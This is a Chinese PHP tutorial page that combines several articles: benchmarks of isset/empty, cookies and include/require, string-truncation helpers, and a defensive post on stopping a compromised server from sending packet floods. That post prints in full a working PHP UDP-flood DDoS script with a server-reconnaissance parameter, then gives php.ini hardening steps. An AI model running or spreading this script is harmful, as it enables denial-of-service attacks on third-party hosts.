PHP isset()与empty()函数执行时间比较

 更新时间:2016年11月25日 16:24  点击:1496
文章利用图表来告诉你关于PHP isset()与empty()函数执行时间比较以及性能的好与坏,有需要的朋友可以详细的看看哦。性能测试采用Benchmark_Iterate类工具进行调试,主要关注isset()与empty()函数执行时间。

,测试环境
操作系统:Window XP
PHP版本:PHP Version 5.2.11
Apache版本:Apache 2.0 Handler

二,测试方法
使用Benchmark_Iterate测试isset()和empty在变量存在和不存在的情况下执行50次并生成图表

三,isset()与empty()判断变量不存在的情况
1,测试代码

 代码如下 复制代码

require_once "Benchmark/Iterate.php";
$bench = new Benchmark_Iterate;
function check1($var){
    isset($var);
}
function check2($var){
    !empty($var);
}
$bench->run(50,"check1",$var);
//$bench->run(50,"check2",$var);
$result = $bench->get();


其中$var变量并没有初始化,判断变量不存在的情况,两个函数的执行性能如下图

2,isset()判断变量不存在的情况

php-isset.png

图解:isset()判断变量不存在的情况平均执行时间在0.0010-0.0011秒之间
3,empty()判断变量不存在的情况

php-empty.png
图解:empty()判断变量不存在的情况平均执行时间在0.0010-0.0011秒之间
四,isset()与empty()判断变量存在的情况

,测试代码

 代码如下 复制代码

require_once "Benchmark/Iterate.php";
$bench = new Benchmark_Iterate;
 
function check1($var){
    isset($var);
}
function check2($var){
    !empty($var);
}
$var = true;
$bench->run(50,"check1",$var);
//$bench->run(50,"check2",$var);
$result = $bench->get();

初始化$var变量为true,判断变量存在的情况,两个函数的执行性能如下

2,isset()判断变量存在的情况

php-isset-true.png图解:isset()判断变量存在的情况平均执行时间在0.0010-0.0011秒之间
3,empty()判断变量存在的情况
php-empty-true.png图解:isset()判断变量存在的情况平均执行时间在0.0010-0.0011秒之间
综合上面的测试性能情况,可知isset()和empty()函数的执行时间基本一样,两个函数的平均执行时间在0.0010-0.0011秒之间,当然这与具体的环境有关,从当前测试环境来看,两个函数的性能是一样的。
 
掌握PHP读写 Cookie的执行时间与效率问题,了解PHP读写Cookie对性能的影响,并在实际开发中合理的使用PHP读写Cookie,分析工具采用PEAR Benchmark_Iterate类,主要关注指标为PHP读写Cookie的程序执行时间。

目录

一,什么是PEAR与Benchmark类
二,为什么要分析PHP读写Cookie情况
三,性能测试代码
四,性能测试结果
五,性能测试总结
六,setcookie函数说明
七,附性能测试源代码下载
参考资料

一,什么是PEAR与Benchmark类

请参考PHP性能优化系列
第二期 PHP性能优化工具篇Benchmark类调试执行时间
第一期 PHP性能优化准备篇图解PEAR安装

二,为什么要分析PHP读写Cookie情况

1,什么是Cookie?
Cookie,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据。

2,PHP与Cookie
PHP通过内置函数setcookie()写cookie,通过$_COOKIE全局变量读cookie,在实际开发中,读写Cookie是与用户交互最主要的方式之一,并且使用也非常频繁,因些需要了解PHP在读写操作Cookie的性能与效率问题。

三,性能测试代码

编写三个函数,分别为写cookie、读cookie和读写cookie,代码如下:

 代码如下 复制代码
<?php
require_once "Benchmark/Iterate.php";
$bench = new Benchmark_Iterate;
function set(){
    setcookie("TestCookie", time(), time()+3600, "/", "", 1);
}
function get(){
    return isset($_COOKIE['TestCookie']) ? $_COOKIE['TestCookie'] : '';
}
function cookie(){
    get();
    set();
}
$bench->run(50,"set");
//$bench->run(50,"get");
//$bench->run(50,"cookie");
$result = $bench->get();
?>

使用Benchmark_Iterate类工具分别调用各个函数50次获取PHP读写Cookie的平均执行时间并生成图表。

四,性能测试结果

1,PHP写Cookie的执行时间

php-set-cookie
图解:使用PHP内置函数setcookie()向客户端发送一个 HTTP cookie,写Cookie的执行时间 0.00072s左右 注s表示秒

2,PHP读Cookie的执行时间
php-get-cookie

图解:使用全局变量$_COOKIE获取客户端cookie值,读Cookie的执行时间 0.00051s左右

3,PHP读写Cookie的执行时间
php-set-get-cookie
先读取cookie值,然后再向客户端发送一个 HTTP cookie,读写Cookie的执行时间 0.00088s左右

五,性能测试总结

通过折线图可以清楚看到,setcookie() 函数向客户端发送一个 HTTP cookie需要的执行时间大约是0.00072s左右,也就是0.7毫秒,PHP读取Cookie的执行时间为0.00051s左右,也就是0.5毫秒,如果同时读写操作Cookie需要的执行时间为0.00088s,也就是0.8毫秒左右,这些操作在秒的时代基本上执行的时间非常短,但请不要小看这个值,正常的PHP内置函数执行的时间大约在0.3毫秒左右,相对而言读写Cookie的执行时间是比较耗时的,因此,在实际开发中要尽量少用这样的函数,充分考虑读写Cookie的情况,特别是写cookie的情况!

毫秒世界还在继续,请关注下一期PHP性能优化系列。

六,setcookie函数说明

setcookie() 函数向客户端发送一个 HTTP cookie。

 代码如下 复制代码

bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

1,cookie 是由服务器发送到浏览器的变量。
2,cookie 通常是服务器嵌入到用户计算机中的小文本文件。每当计算机通过浏览器请求一个页面,就会发送这个 cookie。
3,cookie 的名称指定为相同名称的变量。例如,如果被发送的 cookie 名为 "name",会自动创建名为 $user 的变量,包含 cookie 的值。
4,必须在任何其他输出发送前对 cookie 进行赋值。
5,如果成功,则该函数返回 true,否则返回 false。

文章利用图文详细的介绍了在php中关于include与include_once和require与require_once性能图,有需要的朋友可以详细的看看,但总体来讲include_once和require_once性能要好很多,特别是在多次调用时。

PHP性能优化第八期函数篇,include()与include_once()和require()与require_once()性能比较,主要是通过获取这四个函数执行时间 比较性能差异,实验采用Benchmark_Iterate类工具。

测试方法
加载一个已经存在的文件exist.php,通过Benchmark_Iterate类调用50次,获取各函数的执行时间并生成曲线图。

测试代码

 代码如下 复制代码

require_once "Benchmark/Iterate.php";
$bench = new Benchmark_Iterate;
function load_include(){
    include 'exist.php';
}
function load_require(){
    require 'exist.php';
}
function load_include_once(){
    include_once 'exist.php';
}
function load_require_once(){
    require_once 'exist.php';
}
$bench->run(50,"load_include");
//$bench->run(50,"load_require");
//$bench->run(50,"load_include_once");
//$bench->run(50,"load_require_once");
$result = $bench->get();

测试结果
1,使用include()函数加载文件的执行时间

php-include.png
图解:使 用include()函数加载文件的平均执行时间为0.0013秒左右

2,使用include_once()函数加载文件的执行时间
php-include_once.png
图解:使用include_once()函数加载文件的平均执行时间为0.0011-0.0012秒

3,使用require函数加载文件的执行时间
php-require.png
图解:使用require()函数加载文件的平均执行时间为0.0012-0.0013秒

4,使用require_once()函数加载文件的执行 时间
php-require_once.png
解:使用require_once()函数加载文件的平均执行时间为0.0011-0.0012秒

由上面测试结果 可知,四个函数加载文件的执行时间基本上差不多,区别在于,如果存在一个文件多次加载的情况,include和require函数会加载多次,而 include_once和require_once函数只会加载一次。同时处理加载失败的情况不同,include() 和include_once() 产生一个警告而 require() 和 require_once() 则导致一个致命错误。

相关说明
include()和require()函数
这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。同时也要确认设置了合适的 include_path。注意在 PHP 4.3.5 之前,包含文件中的语法错误不会导致程序停止,但从此版本之后会。

寻找包含文件的顺序先是在当前工作目录的相对的 include_path 下寻找,然后是当前运行脚本所在目录相对的 include_path 下寻找。例如 include_path 是 .,当前工作目录是 /www/,脚本中要 include 一个 include/a.php 并且在该文件中有一句 include "b.php",则寻找 b.php 的顺序先是 /www/,然后是 /www/include/。如果文件名以 ./ 或者 ../ 开始,则只在当前工作目录相对的 include_path 下寻找。

当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

include_once() 和require_once()函数
include_once() 和require_once()语句在脚本执行期间包含并运行指定文件。此行为和 include() 和require() 语句类似,唯一区别是如果该文件中的代码已经被包含了,则不会再次包含。如同此语句名字暗示的那样,只会包含一次。 include_once() 和require_once()应该用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

这是用了phpwind里面的一个字符串截取函数,他支持gbk,gbk2312,utf-8等多种编码的字符截取,也很好高效的支持中文字符串的处理。
 代码如下 复制代码


function substrs($content,$length,$add='Y'){
if (strlen($content)>$length) {
if ($GLOBALS['db_charset']!='utf-8') {
$retstr = '';
for ($i=0;$i<$length-2;$i++) {
$retstr .= ord($content[$i]) > 127 ? $content[$i].$content[++$i] : $content[$i];
}
return $retstr.($add=='Y' ? ' ..' : '');
}
return utf8_trim(substr($content,0,$length)).($add=='Y' ? ' ..' : '');
}
return $content;
}
function utf8_trim($str) {
$hex = '';
$len = strlen($str)-1;
for ($i=$len;$i>=0;$i-=1) {
$ch = ord($str[$i]);
$hex .= " $ch";
if (($ch & 128)==0 || ($ch & 192)==192) {
return substr($str,0,$i);
}
}
return $str.$hex;
}

function cutstr($string, $length, $dot = ' ...') {
global $charset;
if(strlen($string) <= $length) {
return $string;
}
$string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
$strcut = '';
if(strtolower($charset) == 'utf-8') {
$n = $tn = $noc = 0;
while($n < strlen($string)) {
$t = ord($string[$n]);
if($t == 9 || $t == 10 || (32 <= $t && $t <= 126)) {
$tn = 1; $n++; $noc++;
} elseif(194 <= $t && $t <= 223) {
$tn = 2; $n += 2; $noc += 2;
} elseif(224 <= $t && $t <= 239) {
$tn = 3; $n += 3; $noc += 2;
} elseif(240 <= $t && $t <= 247) {
$tn = 4; $n += 4; $noc += 2;
} elseif(248 <= $t && $t <= 251) {
$tn = 5; $n += 5; $noc += 2;
} elseif($t == 252 || $t == 253) {
$tn = 6; $n += 6; $noc += 2;
} else {
$n++;
}
if($noc >= $length) {
break;
}
}
if($noc > $length) {
$n -= $tn;
}
$strcut = substr($string, 0, $n);
} else {
for($i = 0; $i < $length; $i++) {
$strcut .= ord($string[$i]) > 127 ? $string[$i].$string[++$i] : $string[$i];
}
}
$strcut = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $strcut);
return $strcut.$dot;
}

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了。

先看源码

 代码如下 复制代码

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER

['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }

for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }

$max_time = time()+$exec_time;

while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}

echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " .

round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/

$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

关键代码在于

 代码如下 复制代码
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力。
这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用。
如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛


既然是用fsockopen请求外部,那就不让他请求
php.ini里设置

 代码如下 复制代码
allow_url_fopen = Off

如果这样他还是能发包

 代码如下 复制代码
extension=php_sockets.dll
改成
;extension=php_sockets.dll

重启APACHE、IIS、NGINX
这样就可以防止PHP DDOS发包了

另外有网友说

让脚本不允许设置为不超时很简单,1,把set_time_limit函数禁用,2,启用PHP的安全模式(safe_mode=on)

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,

建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是

这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS。。。

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些。

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